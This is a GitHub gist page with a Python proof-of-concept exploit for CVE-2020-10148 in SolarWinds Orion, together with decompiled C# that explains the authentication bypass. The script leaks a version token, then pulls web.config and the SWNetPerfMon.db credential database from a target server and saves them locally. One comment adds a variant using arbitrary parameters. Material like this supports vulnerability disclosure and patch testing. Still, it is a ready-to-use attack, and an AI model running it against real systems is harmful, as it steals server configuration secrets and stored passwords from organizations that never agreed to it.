Skip to content

Instantly share code, notes, and snippets.

@0xsha
Last active July 16, 2022 12:46
Show Gist options
  • Star 53 You must be signed in to star a gist
  • Fork 16 You must be signed in to fork a gist
  • Save 0xsha/75616ef6f24067c4fb5b320c5dfa4965 to your computer and use it in GitHub Desktop.
Save 0xsha/75616ef6f24067c4fb5b320c5dfa4965 to your computer and use it in GitHub Desktop.
Solarwinds_Orion_LFD local file disclosure PoC for SolarWinds Orion aka door to SuperNova?)
# CVE-2020-10148 (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
# @0xSha
# (C) 2020 0xSha.io
# Advisory : https://www.solarwinds.com/securityadvisory
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
# Details : https://kb.cert.org/vuls/id/843464
# C:\inetpub\SolarWinds\bin\OrionWeb.DLL
# According to SolarWinds.Orion.Web.HttpModules
# in case of special strings this will set auth to null user and if case of ending with .i18n.ashx it will read the files
'''
private static void OnRequest(object sender, EventArgs e)
{
HttpApplication httpApplication = (HttpApplication)sender;
HttpContext context = httpApplication.Context;
string path = context.Request.Path;
if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
{
if (context.User == null || !context.User.Identity.IsAuthenticated)
{
context.SkipAuthorization = true;
context.User = new NullUser();
}
return;
}
if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
{
if (context.User == null || !context.User.Identity.IsAuthenticated)
{
context.SkipAuthorization = true;
context.User = new NullUser();
}
LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
return;
}
if (!path.EndsWith(".i18n.ashx"))
{
return;
}
string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);
context.RewritePath(path2);
}
private static string RebuildPath(NameValueCollection nvc, string revisedFile)
{
return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys
where x != "file"
select x into key
select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());
}
'''
#/usr/local/bin/python3
import requests
import sys
if len(sys.argv) < 2:
print ("[*] Usage : CVE-2020-10148.py http(s)://target")
exit(-1)
if not(sys.argv[1].startswith("http://")):
if not(sys.argv[1].startswith("https://")):
print("[-] target starts either with http:// or https://")
exit(-1)
print ("[*] Trying to leak valid file version")
target = sys.argv[1]
# appending .js to always invalid file
# we don't verify because of self-signed instances
# not really required but doesn't hurt either.
leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)
if(leakVersion.headers["location"]):
print("[+] Got location header")
index = leakVersion.headers["location"].index(".i18n.ashx")
leakedVersion = (leakVersion.headers["location"][index:])
if (leakedVersion.__contains__("v=")):
print ("[+] Version seems valid")
else:
print("[-] Invalid version")
exit(-1)
else:
print("[-] Can't get a valid version")
exit(-1)
print("[*] Trying to leak web.config file ")
#print(target+"/web.config"+leakedVersion)
leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)
#print(leakedConfig.status_code)
if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :
print("[+] Target is vulnerable Got the web.config file ")
outputFile = target.replace("https://","").replace("http://","")+"_web.config"
configFile = open(outputFile,"w")
configFile.write(leakedConfig.text)
configFile.close()
print("[+] web.config written to : " + outputFile )
else:
print("[-] Failed to download web.config target is not vulnerable")
exit(-1)
print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")
# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US
# C:\inetpub\SolarWinds\SWNetPerfMon.db
# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db
leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)
if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:
print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")
outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"
configFile = open(outputFile,"w")
configFile.write(leakedDB.text)
configFile.close()
# encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform
print("[+] SWNetPerfMon.db written to : " + outputFile )
else:
print("[-] Failed to download SWNetPerfMon.db target is on newer version")
exit(-1)
@nathanqthai
Copy link

It appears that in some cases you can leak the web.config with arbitrary l and v parameter values web.config.i18n.ashx?l=anythingx&v=anything.

@0x1h3r
Copy link

0x1h3r commented Jan 5, 2022

but its says cert updated its fail to download

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment